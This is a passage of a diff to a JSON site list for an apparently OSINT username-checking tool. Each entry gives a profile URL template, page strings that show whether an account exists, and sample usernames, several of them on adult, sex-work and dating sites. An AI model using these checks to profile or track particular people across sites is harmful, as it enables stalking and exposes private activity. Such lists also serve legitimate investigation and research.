: 200, + "e_string" : " href=https://rumble.com/user/", + "m_string" : "404 - Not found", + "m_code" : 404, + "known" : ["SimonParkes", "djmrmusic"], + "cat" : "political", + "valid" : true + }, + { + "name" : "Salon24", + "uri_check" : "https://www.salon24.pl/u/{account}/", + "e_code" : 200, + "e_string" : "Strona główna", + "m_string" : "Salon24 - blogi, newsy, opinie i komentarze", + "m_code" : 200, + "known" : ["test", "test2"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "SaraCarterShow", + "uri_check" : "https://saraacarter.com/author/{account}/", + "e_code" : 200, + "e_string" : "| Sara A. Carter", + "m_string" : "Page not found - Sara A. Carter", + "m_code" : 301, + "known" : ["douglasbraff", "annaliese"], + "cat" : "political", + "valid" : true + }, + { + "name" : "ScoutWiki", + "uri_check" : "https://en.scoutwiki.org/User:{account}", + "e_code" : 200, + "e_string" : "NewPP limit report", + "m_string" : "is not registered", + "m_code" : 301, + "known" : ["Mlh_nl", "Benjism89"], + "cat" : "social", + "valid" : true + }, + { + "name" : "scratch", + "uri_check" : "https://scratch.mit.edu/users/{account}/", + "e_code" : 200, + "e_string" : "on Scratch", + "m_string" : "We couldn't find the page you're looking for.", + "m_code" : 404, + "known" : ["griffpatch"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "secure_donation", + "uri_check" : "https://secure.donationpay.org/{account}/", + "e_code" : 200, + "e_string" : "| DonationPay", + "m_string" : "secure.donationpay.org", + "m_code" : 404, + "known" : ["rareimpact", "safc"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Seneporno", + "uri_check" : "https://seneporno.com/user/{account}", + "e_code" : 200, + "e_string" : "Dernier Login", + "m_string" : "Unexpected error! Please contact us and tell us more how you got to this page!", + "m_code" : 301, + "known" : ["Kalsobbc", "Boymariste"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "sentimente", + "uri_check" : "https://www.sentimente.com/amp/{account}.html", + "e_code" : 200, + "e_string" :"Chat online with", + "m_string" : "HTTP Error code: 404. Resource not found", + "m_code" : 404, + "known" : ["david01", "brahim01"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "SEOClerks", + "uri_check" : "https://www.seoclerks.com/user/{account}", + "e_code" : 200, + "e_string" : "
", + "m_string" : "SEO Marketplace", + "m_code" : 302, + "known" : ["Vfmseo", "gokudadon"], + "cat" : "social", + "valid" : true + }, + { + "name" : "setlist.fm", + "uri_check" : "https://www.setlist.fm/user/{account}", + "e_code" : 200, + "e_string" : "s setlist.fm | setlist.fm", + "m_string" : "Sorry, the page you requested doesn't exist", + "m_code" : 404, + "known" : ["bendobrin", "michi"], + "cat" : "music", + "valid" : true + }, + { + "name" : "Sexworker", + "uri_check" : "https://sexworker.com/api/profile/{account}", + "uri_pretty" : "https://sexworker.com/{account}", + "e_code" : 200, + "e_string" : "profilePictureUrl", + "m_code" : 404, + "m_string" : "This user does not exist.", + "known" : ["sakii_nightshade", "annajean2319"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "SFD", + "uri_check" : "https://www.sfd.pl/profile/{account}", + "e_code" : 200, + "e_string" : "Tematy użytkownika", + "m_string" : "Brak aktywnego profilu na forum", + "m_code" : 404, + "known" : ["janek", "admin"], + "cat" : "health", + "valid" : true + }, + { + "name" : "Shanii Writes", + "uri_check" : "https://forum.shanniiwrites.com/u/{account}/summary.json", + "uri_pretty" : "https://forum.shanniiwrites.com/u/{account}", + "e_code" : 200, + "e_string" : "topics", + "m_code" : 404, + "m_string" : "The requested URL or resource could not be found.", + "known" : ["chococarmela", "wolfgamergirl37"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Shesfreaky", + "uri_check" : "https://www.shesfreaky.com/profile/{account}/", + "e_code" : 200, + "e_string" : "s Profile - ShesFreaky", + "m_code" : 302, + "m_string" : "", + "known" : ["tata23", "fitzsta"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "shopify", + "uri_check" : "https://{account}.myshopify.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "home", + "m_string" : "Sorry, this shop is currently unavailable.", + "m_code" : 404, + "known" : ["john", "daniel"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "shutterstock", + "uri_check" : "https://www.shutterstock.com/g/{account}", + "e_code" : 200, + "e_string" : "| Shutterstock", + "m_string" : "Well, this is unexpected...", + "m_code" : 404, + "known" : ["john", "bob"], + "cat" : "images", + "valid" : true + }, + { + "name" : "skeb", + "uri_check" : "https://skeb.jp/@{account}", + "e_code" : 200, + "e_string" : ") | Skeb", + "m_code" : 503, + "m_string" : "Skeb - Request Box", + "known" : ["eipuru_", "sime064"], + "cat" : "art", + "valid" : true + }, + { + "name" : "Skyrock", + "uri_check" : "https://{account}.skyrock.com/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "'s blog", + "m_string" : "Page not found - ", + "m_code" : 404, + "known" : ["alice", "bob"], + "cat" : "social", + "valid" : true + }, + { + "name" : "SlackHoles", + "uri_check" : "https://slackholes.com/actor/{account}/", + "e_code" : 200, + "e_string" : "Pussy and Ass Sizes", + "m_string" : "It looks like nothing was found at this location", + "m_code" : 404, + "known" : ["alexbreecooper", "roxy-raye"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "slant", + "uri_check" : "https://www.slant.co/users/{account}", + "e_code" : 200, + "e_string" : "s Profile - Slant", + "m_string" : "404 - Page Not Found - Slant", + "m_code" : 404, + "known" : ["bob", "john"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "slideshare", + "uri_check" : "https://www.slideshare.net/{account}", + "e_code" : 200, + "e_string" : "photo user-photo", + "m_string" : "is still available. Why not", + "m_code" : 404, + "known" : ["test"], + "cat" : "social", + "valid" : true + }, + { + "name" : "slides", + "uri_check" : "https://slides.com/{account}", + "e_code" : 200, + "e_string" : "Presentations by", + "m_string" : "You may have mistyped the address", + "m_code" : 404, + "known" : ["arunthomas"], + "cat" : "social", + "valid" : true + }, + { + "name" : "SmashRun", + "uri_check" : "https://smashrun.com/{account}/", + "e_code" : 200, + "e_string" : "Miles run overall", + "m_string" : "no Smashrunner with the username", + "m_code" : 404, + "known" : ["john.young"], + "cat" : "health", + "valid" : true + }, + { + "name" : "smelsy", + "uri_check" : "https://www.smelsy.com/profile/{account}", + "e_code" : 200, + "e_string" : "Smelsy -", + "m_string" : "Server Error", + "m_code" : 500, + "known" : ["mohamed01", "ahmed"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "SmugMug", + "uri_check" : "https://{account}.smugmug.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "schema.org/Person", + "m_string" : "schema.org/Thing", + "m_code" : 404, + "known" : ["wow", "jill"], + "cat" : "images", + "valid" : true + }, + { + "name" : "smule", + "uri_check" : "https://www.smule.com/api/profile/?handle={account}", + "uri_pretty" : "https://www.smule.com/{account}", + "e_code" : 200, + "e_string" : "account_id", + "m_string" : "code\": 65", + "m_code" : 400, + "known" : ["cgrrose", "John___Anish"], + "cat" : "music", + "valid" : true + }, + { + "name" : "Snapchat", + "uri_check" : "https://feelinsonice.appspot.com/web/deeplink/snapcode?username={account}&size=400&type=SVG", + "uri_pretty" : "https://www.snapchat.com/add/{account}", + "e_code" : 200, + "e_string" : "</clipPath>", + "m_string" : "http://www.w3.org/1999/xlink", + "m_code" : 404, + "known" : ["billy23", "mrbean", "alexis4"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Snapchat Stories", + "uri_check" : "https://story.snapchat.com/s/{account}", + "e_code" : 200, + "e_string" : "is on Snapchat!", + "m_string" : "Not_Found", + "m_code" : 404, + "known" : ["djkhaled305", "mileycyrus"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Snipfeed", + "uri_check" : "https://snipfeed.co/{account}", + "e_code" : 200, + "e_string" : "creatorLink", + "m_code" : 404, + "m_string" : "Oops, you hit a dead end!", + "known" : ["mycherrycrush", "honey"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "social.bund.de", + "uri_check" : "https://social.bund.de/@{account}", + "e_code" : 200, + "e_string" : "@social.bund.de) - social.bund.de", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["bfdi", "bmdv"], + "cat" : "social", + "valid" : true + }, + { + "name" : "soc.citizen4.eu", + "uri_check" : "https://soc.citizen4.eu/profile/{account}/profile", + "e_code" : 200, + "e_string" : "@soc.citizen4.eu", + "m_string" : "Nie znaleziono", + "m_code" : 404, + "known" : ["admin", "miklo"], + "cat" : "social", + "valid" : true + }, + { + "name" : "social_msdn", + "uri_check" : "https://social.msdn.microsoft.com/profile/{account}", + "e_code" : 200, + "e_string" : "Member Since", + "m_string" : "The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.", + "m_code" : 404, + "known" : ["edoardo", "microsoftfan"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Mastodon-social_tchncs", + "uri_check" : "https://social.tchncs.de/@{account}", + "e_code" : 200, + "e_string" : "profile:username", + "m_string" : "The page you are looking for isn't here", + "m_code" : 301, + "known" : ["michael", "frank"], + "cat" : "social", + "valid" : true + }, + { + "name" : "sofurry", + "uri_check" : "https://{account}.sofurry.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "'s Profile | SoFurry", + "m_string" : "SoFurry - Error | SoFurry", + "m_code" : 404, + "known" : ["reeden-landshey", "tigerzero"], + "cat" : "art", + "valid" : true + }, + { + "name" : "SoliKick", + "uri_check" : "https://solikick.com/-{account}", + "e_code" : 200, + "e_string" : "page_guest_users-view", + "m_string" : "This item has been removed or is no longer available", + "m_code" : 302, + "known" : ["milehighed", "Edmundus"], + "cat" : "social", + "valid" : true + }, + { + "name" : "soloby", + "uri_check" : "http://www.soloby.ru/user/{account}", + "e_code" : 200, + "e_string" : "- Универ soloBY", + "m_string" : "Универ soloBY", + "m_code" : 404, + "known" : ["igor", "dana"], + "cat" : "social", + "valid" : true + }, + { + "name" : "solo.to", + "uri_check" : "https://solo.to/{account}", + "e_code" : 200, + "e_string" : "create your own page", + "m_code" : 404, + "m_string" : "The page you're looking for isn't here.", + "known" : ["saruei", "yui"], + "cat" : "social", + "valid" : true + }, + { + "name" : "SoundCloud", + "uri_check" : "https://soundcloud.com/{account}", + "e_code" : 200, + "e_string" : "SoundCloud", + "m_string" : "sounds", + "m_code" : 404, + "known" : ["test123"], + "cat" : "music", + "valid" : true + }, + { + "name" : "Soup", + "uri_check" : "https://www.soup.io/author/{account}", + "e_code" : 200, + "e_string" : "Author at Soup.io", + "m_string" : "Soup.io - News, Sports, Entertainment, TV, Tech, Gaming", + "m_code" : 301, + "known" : ["john", "cristina"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "Sourceforge", + "uri_check" : "https://sourceforge.net/u/{account}/profile", + "e_code" : 200, + "e_string" : " / Profile", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["alice", "bob"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "SpankPay", + "uri_check" : "https://api.spankpay.com/graphql", + "uri_pretty" : "https://spankpay.me/{account}", + "post_body" : "NEED TO FIX THIS", + "e_code" : 200, + "e_string" : "headerPhoto", + "m_string" : "User not found", + "m_code" : 404, + "known" : ["Medroxy","brittanyandrews"], + "cat" : "finance", + "valid" : false + }, + { + "name" : "Speaker Deck", + "uri_check" : "https://speakerdeck.com/{account}/", + "e_code" : 200, + "e_string" : ") on Speaker Deck", + "m_string" : "User Not Found - Speaker Deck", + "m_code" : 404, + "known" : ["petecheslock", "turbosmart45"], + "cat" : "social", + "valid" : true + }, + { + "name" : "speedrun", + "uri_check" : "https://www.speedrun.com/user/{account}/", + "e_code" : 200, + "e_string" : "Runs - ", + "m_string" : "speedrun.com", + "m_code" : 404, + "known" : ["mike", "chris"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "SpiceWorks", + "uri_check" : "https://community.spiceworks.com/people/{account}", + "e_code" : 200, + "e_string" : "Portfolio of IT Projects - Spiceworks", + "m_string" : "Page Not Found", + "m_code" : 404, + "known" : ["spicerex", "rod-it"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "sporcle", + "uri_check" : "https://www.sporcle.com/user/{account}/people/", + "e_code" : 200, + "e_string" : "'s Sporcle Friends", + "m_string" : "This Sporcle user cannot be found.", + "m_code" : 301, + "known" : ["Test", "lolshortee"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Spotify", + "uri_check" : "https://open.spotify.com/user/{account}", + "e_code" : 200, + "e_string" : "on Spotify", + "m_string" : "Spotify - Web Player", + "m_code" : 200, + "known" : ["kexp_official", "mkbhd"], + "cat" : "music", + "valid" : true + }, + { + "name" : "Steam", + "uri_check" : "https://steamcommunity.com/id/{account}", + "e_code" : 200, + "e_string" : "g_rgProfileData =", + "m_string" : "Steam Community :: Error", + "m_code" : 200, + "known" : ["test"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "steemit", + "uri_check" : "https://steemit.com/@{account}", + "e_code" : 200, + "e_string" : "blog", + "m_string" : "Page Not Found - Steemit", + "m_code" : 301, + "known" : ["petlover", "zalat"], + "cat" : "social", + "valid" : true + }, + { + "name" : "steller", + "uri_check" : "https://steller.co/{account}", + "e_code" : 200, + "e_string" : " on Steller", + "m_string" : "", + "m_code" : 404, + "known" : ["jeannnn", "havwoods"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Stoners.social (Mastodon Instance)", + "uri_check" : "https://stoners.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://stoners.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["Tony", "slothmagic"], + "cat" : "social", + "valid" : true + }, + { + "name" : "StoryCorps", + "uri_check" : "https://archive.storycorps.org/user/{account}/", + "e_code" : 200, + "e_string" : "archive author", + "m_string" : "We're sorry, but the page", + "m_code" : 404, + "known" : ["jthorstad", "paul-swider"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "StreamElements", + "uri_check" : "https://api.streamelements.com/kappa/v2/channels/{account}", + "uri_pretty" : "https://streamelements.com/{account}", + "e_code" : 200, + "e_string" : "\"providerId\"", + "m_code" : 404, + "m_string" : "error", + "known" : ["honey", "dude"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "StreamLabs", + "uri_check" : "https://streamlabs.com/api/v6/user/{account}", + "uri_pretty" : "https://streamlabs.com/{account}/tip", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 401, + "m_string" : "UNAUTHORIZED", + "known" : ["veibae", "cutie_cori"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Stripchat", + "uri_check" : "https://stripchat.com/{account}", + "e_code" : 200, + "e_string" : "I Do in My Shows:", + "m_string" : "Oops. The page you were looking for doesn't exist", + "m_code" : 404, + "known" : ["DulcieRichard", "Katie-Mili"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Subscribestar", + "uri_check" : "https://subscribestar.adult/{account}", + "e_code" : 200, + "e_string" : "CREATOR STATS", + "m_code" : 404, + "m_string" : "WE ARE SORRY, THE PAGE YOU REQUESTED CANNOT BE FOUND", + "known" : ["missmoonified", "honey"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "sukebei.nyaa.si", + "uri_check" : "https://sukebei.nyaa.si/user/{account}", + "e_code" : 200, + "e_string" : "'s torrents", + "m_code" : 404, + "m_string" : "404 Not Found", + "known" : ["kouhy76", "Rektr0"], + "cat" : "video", + "valid" : true + }, + { + "name" : "Suzuri", + "uri_check" : "https://suzuri.jp/{account}", + "e_code" : 200, + "e_string" : "Items", + "m_string" : "Push Space-key", + "m_code" : 404, + "known" : ["itochanxxx", "alex"], + "cat" : "business", + "valid" : true + }, + { + "name" : "szmer.info", + "uri_check" : "https://szmer.info/u/{account}", + "e_code" : 200, + "e_string" : "Joined", + "m_string" : "Code: Couldn't find that username or email.", + "m_code" : 200, + "known" : ["przeczzpreczem", "Xavier"], + "cat" : "social", + "valid" : true + }, + { + "name" : "tabletoptournament", + "uri_check" : "https://www.tabletoptournaments.net/eu/player/{account}", + "e_code" : 200, + "e_string" : "- Player Profile | T³ - TableTop Tournaments", + "m_string" : "No player with the nickname", + "m_code" : 200, + "known" : ["Lars01", "john"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Tagged", + "uri_check" : "https://secure.tagged.com/{account}", + "e_code" : 200, + "e_string" : "s Profile", + "m_string" : "Tagged - The social network for meeting new people", + "m_code" : 302, + "known" : ["Samantha", "Robert"], + "cat" : "social", + "valid" : true + }, + { + "name" : "TamTam", + "uri_check" : "https://tamtam.chat/{account}", + "e_code" : 200, + "e_string" : "deeplink=tamtam://chat/", + "m_string" : "ТамТам", + "m_code" : 302, + "known" : ["blue", "John"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Tanuki.pl", + "uri_check" : "https://tanuki.pl/profil/{account}", + "e_code" : 200, + "e_string" : "Dołączył", + "m_string" : "Nie ma takiego użytkownika", + "m_code" : 404, + "known" : ["ania", "avellana"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "TAPiTAG", + "uri_check" : "https://account.tapitag.co/tapitag/api/v1/{account}", + "uri_pretty" : "https://account.tapitag.co/{account}", + "e_code" : 200, + "e_string" : "User details are Showing", + "m_string" : "The rf number is not valid", + "m_code" : 200, + "known" : ["JonathanWallace", "gearoidconsidine"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Tappy", + "uri_check" : "https://api.tappy.tech/api/profile/username/{account}", + "uri_pretty" : "https://www.tappy.tech/{account}", + "e_code" : 200, + "e_string" : "user_id", + "m_string" : "Profile of username Not Found", + "m_code" : 200, + "known" : ["alexborrelli", "domocann"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Taringa", + "uri_check" : "https://www.taringa.net/{account}", + "e_code" : 200, + "e_string" : " en Taringa!", + "m_string" : "Colectiva en Taringa!", + "m_code" : 301, + "known" : ["jocaxav", "engendrometal"], + "cat" : "social", + "valid" : true + }, + { + "name" : "taskrabbit", + "uri_check" : "https://www.taskrabbit.com/profile/{account}/about", + "e_code" : 200, + "e_string" : "’s Profile", + "m_string" : "", + "m_code" : 302, + "known" : ["john", "sam"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Teamtreehouse", + "uri_check" : "https://teamtreehouse.com/{account}", + "e_code" : 200, + "e_string" : "Member Since", + "m_string" : "Oops, Something went missing", + "m_code" : 404, + "known" : ["john"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Teddygirls", + "uri_check" : "https://teddysgirls.net/models/{account}", + "e_code" : 200, + "e_string" : ";s exclusive page to subscribe to her", + "m_string" : "The page you were looking for doesn't exist", + "m_code" : 404, + "known" : ["jaycee-starr", "chubbychick94"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Teespring", + "uri_check" : "https://commerce.teespring.com/v1/stores?slug={account}", + "uri_pretty" : "https://{account}.creator-spring.com", + "e_code" : 200, + "e_string" : "sellerToken", + "m_code" : 404, + "m_string" : "{\"errors\":{\"store\":[\"not found\"]}}", + "known" : ["missmoonified", "honey"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Teknik", + "uri_check" : "https://user.teknik.io/{account}", + "e_code" : 200, + "e_string" : "Public Key", + "m_string" : "The user does not exist", + "m_code" : 200, + "known" : ["red", "bob"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Telegram", + "uri_check" : "https://t.me/{account}", + "e_code" : 200, + "e_string" : "tgme_page_title", + "m_string" : "noindex, nofollow", + "m_code" : 200, + "known" : ["alice", "giovanni"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Tellonym", + "uri_check" : "https://tellonym.me/{account}", + "e_code" : 200, + "e_string" : "on Tellonym", + "m_string" : "- Honest & Anonymous Feedback", + "m_code" : 404, + "known" : ["jane", "jimmy"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Tenor", + "uri_check" : "https://tenor.com/users/{account}", + "e_code" : 200, + "e_string" : "
", + "m_code" : 404, + "m_string" : "We could not find the page you were looking for.", + "known" : ["gnutv", "d33jay23"], + "cat" : "images", + "valid" : true + }, + { + "name" : "TF2 Backpack Examiner", + "uri_check" : "http://www.tf2items.com/id/{account}/", + "e_code" : 200, + "e_string" : "TF2 Backpack -", + "m_string" : "", + "m_code" : 302, + "known" : ["test"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Mastodon-tfl.net.pl", + "uri_check" : "https://tfl.net.pl/@{account}", + "e_code" : 200, + "e_string" : "@tfl.net.pl", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["jaczad", "manies"], + "cat" : "social", + "valid" : true + }, + { + "name" : "themeforest", + "uri_check" : "https://themeforest.net/user/{account}", + "e_code" : 200, + "e_string" : "s profile on ThemeForest", + "m_string" : "Page Not Found | ThemeForest", + "m_code" : 301, + "known" : ["john", "bob"], + "cat" : "art", + "valid" : true + }, + { + "name" : "thegatewaypundit", + "uri_check" : "https://www.thegatewaypundit.com/author/{account}/", + "e_code" : 200, + "e_string" : "summary", + "m_string" : "Not found, error 404", + "m_code" : 404, + "known" : ["patti", "joehoft"], + "cat" : "political", + "valid" : true + }, + { + "name" : "theguardian", + "uri_check" : "https://www.theguardian.com/profile/{account}", + "e_code" : 200, + "e_string" : "https://www.theguardian.com/profile/", + "m_string" : "Page not found | The Guardian", + "m_code" : 404, + "known" : ["minna-salami", "johnnaughton"], + "cat" : "news", + "valid" : true + }, + { + "name" : "Thetattooforum", + "uri_check" : "https://www.thetattooforum.com/members/{account}/", + "e_code" : 200, + "e_string" : "Insert This Gallery", + "m_string" : "We’re sorry", + "m_code" : 500, + "known" : ["mixdop", "modifyielts"], + "cat" : "art", + "valid" : true + }, + { + "name" : "TikTok", + "uri_check" : "https://www.tiktok.com/oembed?url=https://www.tiktok.com/@{account}", + "uri_pretty" : "https://www.tiktok.com/@{account}?lang=en", + "e_code" : 200, + "e_string" : "author_url", + "m_string" : "Something went wrong", + "m_code" : 400, + "known" : ["gordonramsayofficial", "pookiebear73"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Tilde.zone (Mastodon Instance)", + "uri_check" : "https://tilde.zone/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://tilde.zone/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["ben", "lunatic"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Tinder", + "uri_check" : "https://tinder.com/@{account}", + "e_code" : 200, + "e_string" : ") | Tinder", + "m_string" : "Error |", + "m_code" : 404, + "known" : ["WebBreacher", "OSINT_Tactical"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Twitter archived profile", + "uri_check" : "http://archive.org/wayback/available?url=https://twitter.com/{account}", + "uri_pretty" : "https://web.archive.org/web/2/https://twitter.com/{account}", + "e_code" : 200, + "e_string" : "\"archived_snapshots\": {\"closest\"", + "m_string" : "\"archived_snapshots\": {}", + "m_code" : 200, + "known" : ["jack", "dineshdsouza"], + "cat" : "archived", + "valid" : true + }, + { + "name" : "Twitter archived tweets", + "uri_check" : "http://archive.org/wayback/available?url=https://twitter.com/{account}/status/*", + "uri_pretty" : "https://web.archive.org/web/*/https://twitter.com/{account}/status/*", + "e_code" : 200, + "e_string" : "\"archived_snapshots\": {\"closest\"", + "m_string" : "\"archived_snapshots\": {}", + "m_code" : 200, + "known" : ["jack", "dineshdsouza"], + "cat" : "archived", + "valid" : true + }, + { + "name" : "twoplustwo", + "uri_check" : "https://forumserver.twoplustwo.com/ajax.php?do=usersearch", + "uri_pretty" : "https://forumserver.twoplustwo.com/search.php", + "post_body" : "securitytoken=guest&do=usersearch&fragment={account}", + "e_code" : 200, + "e_string" : "userid=", + "m_string" : "", + "m_code" : 404, + "known" : ["redsox", "adam"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "twpro", + "uri_check" : "https://twpro.jp/{account}", + "e_code" : 200, + "e_string" : "おとなりさん", + "m_code" : 404, + "m_string" : "をご確認ください。", + "known" : ["wsise47", "tsukiusa630"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Ubisoft", + "uri_check" : "https://discussions.ubisoft.com/user/{account}", + "e_code" : 200, + "e_string" : "| Ubisoft Discussion Forums", + "m_string" : "You seem to have stumbled upon a page that does not exist.", + "m_code" : 404, + "known" : ["fizzle_fuze", "th05324"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Udemy", + "uri_check" : "https://www.udemy.com/user/{account}/", + "e_code" : 200, + "e_string" : "| Udemy", + "m_string" : "Online Courses - Learn Anything, On Your Schedule | Udemy", + "m_code" : 301, + "known" : ["stephane-maarek", "lizbrown3"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "uefconnect", + "uri_check" : "https://uefconnect.uef.fi/en/person/{account}/", + "e_code" : 200, + "e_string" : "- UEFConnect", + "m_string" : "Page not found - UEFConnect", + "m_code" : 404, + "known" : ["heli.mutanen", "mette.heiskanen"], + "cat" : "business", + "valid" : true + }, + { + "name" : "uid", + "uri_check" : "http://uid.me/{account}", + "e_code" : 200, + "e_string" : "- uID.me", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["john", "peter"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Uiuxdev.social (Mastodon Instance)", + "uri_check" : "https://uiuxdev.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://uiuxdev.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["msr", "GravelLegend"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Ultras Diary", + "uri_check" : "http://ultrasdiary.pl/u/{account}/", + "e_code" : 200, + "e_string" : "Mecze wyjazdowe:", + "m_string" : "Ile masz wyjazdów?", + "m_code" : 404, + "known" : ["janek", "kowal"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "ulub.pl", + "uri_check" : "http://ulub.pl/profil/{account}", + "e_code" : 200, + "e_string" : "Muzyka (", + "m_string" : "Strona nie istnieje.", + "m_code" : 404, + "known" : ["janek", "test"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "unsplash", + "uri_check" : "https://unsplash.com/@{account}", + "e_code" : 200, + "e_string" : "| Unsplash Photo Community", + "m_string" : "Hm, the page you were looking for doesn't seem to exist anymore.", + "m_code" : 404, + "known" : ["john", "alex"], + "cat" : "images", + "valid" : true + }, + { + "name" : "untappd", + "uri_check" : "https://untappd.com/user/{account}/", + "e_code" : 200, + "e_string" : "on Untappd", + "m_string" : "Untappd | 404", + "m_code" : 404, + "known" : ["test", "phil"], + "cat" : "social", + "valid" : true + }, + { + "name" : "USA Life", + "uri_check" : "https://usa.life/{account}", + "e_code" : 200, + "e_string" : "Please log in to like, share and comment", + "m_string" : "Sorry, page not found", + "m_code" : 302, + "known" : ["abaynes79", "not1face"], + "cat" : "social", + "valid" : true + }, + { + "name" : "utip.io", + "uri_check" : "https://utip.io/creator/profile/{account}", + "uri_pretty" : "https://utip.io/{account}", + "e_code" : 200, + "e_string" : "\"userName\"", + "m_code" : 404, + "m_string" : "Not a valid web service key", + "known" : ["honey", "chloe"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Uwumarket", + "uri_check" : "https://uwumarket.us/collections/{account}", + "e_code" : 200, + "e_string" : "collection-hero__text-wrapper", + "m_code" : 404, + "m_string" : "Page not found", + "known" : ["saki", "aicandii"], + "cat" : "business", + "valid" : true + }, + { + "name" : "uwu.ai", + "uri_check" : "https://{account}.uwu.ai/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "property=\"twitter:card\"", + "m_code" : 404, + "m_string" : "Sorry, the requested page could not be found.", + "known" : ["spooky", "citruciel"], + "cat" : "social", + "valid" : true + }, + { + "name" : "vsco", + "uri_check" : "https://vsco.co/{account}/gallery", + "e_code" : 200, + "e_string" : "| VSCO", + "m_string" : "This page does not exist", + "m_code" : 404, + "known" : ["sam", "becca"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Venmo", + "uri_check" : "https://account.venmo.com/u/{account}", + "e_code" : 200, + "e_string" : "profileInfo_username__", + "m_string" : "Sorry, the page you requested does not exist!", + "m_code" : 404, + "known" : ["John-Goolsby-8", "kate-mura"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Vero", + "uri_check" : "https://vero.co/{account}", + "e_code" : 200, + "e_string" : "on VERO™", + "m_string" : "The page you are looking for doesn't exist.", + "m_code" : 404, + "known" : ["alex", "johnny"], + "cat" : "art", + "valid" : true + }, + { + "name" : "vibilagare", + "uri_check" : "https://www.vibilagare.se/users/{account}", + "e_code" : 200, + "e_string" : "Profil på vibilagare.se", + "m_string" : "Sidan hittades inte |", + "m_code" : 404, + "known" : ["lars01", "sven"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "viddler", + "uri_check" : "https://www.viddler.com/channel/{account}/", + "e_code" : 200, + "e_string" : "profile-details", + "m_string" : "User not found", + "m_code" : 404, + "known" : ["GamingParodies", "planphilly"], + "cat" : "video", + "valid" : true + }, + { + "name" : "Vimeo", + "uri_check" : "https://vimeo.com/{account}", + "e_code" : 200, + "e_string" : "is a member of Vimeo, the", + "m_string" : "Make sure you’ve typed the URL correctly", + "m_code" : 404, + "known" : ["john", "alice"], + "cat" : "video", + "valid" : true + }, + { + "name" : "Vine", + "uri_check" : "https://vine.co/api/users/profiles/vanity/{account}", + "uri_pretty" : "https://vine.co/{account}", + "e_code" : 200, + "e_string" : "userId", + "m_string" : "That record does not exist", + "m_code" : 404, + "known" : ["TomHarlock", "Seks"], + "cat" : "video", + "valid" : true + }, + { + "name" : "visnesscard", + "uri_check" : "https://my.visnesscard.com/Home/GetCard/{account}", + "uri_pretty" : "https://my.visnesscard.com/{account}", + "e_code" : 200, + "e_string" : "end_point", + "m_string" 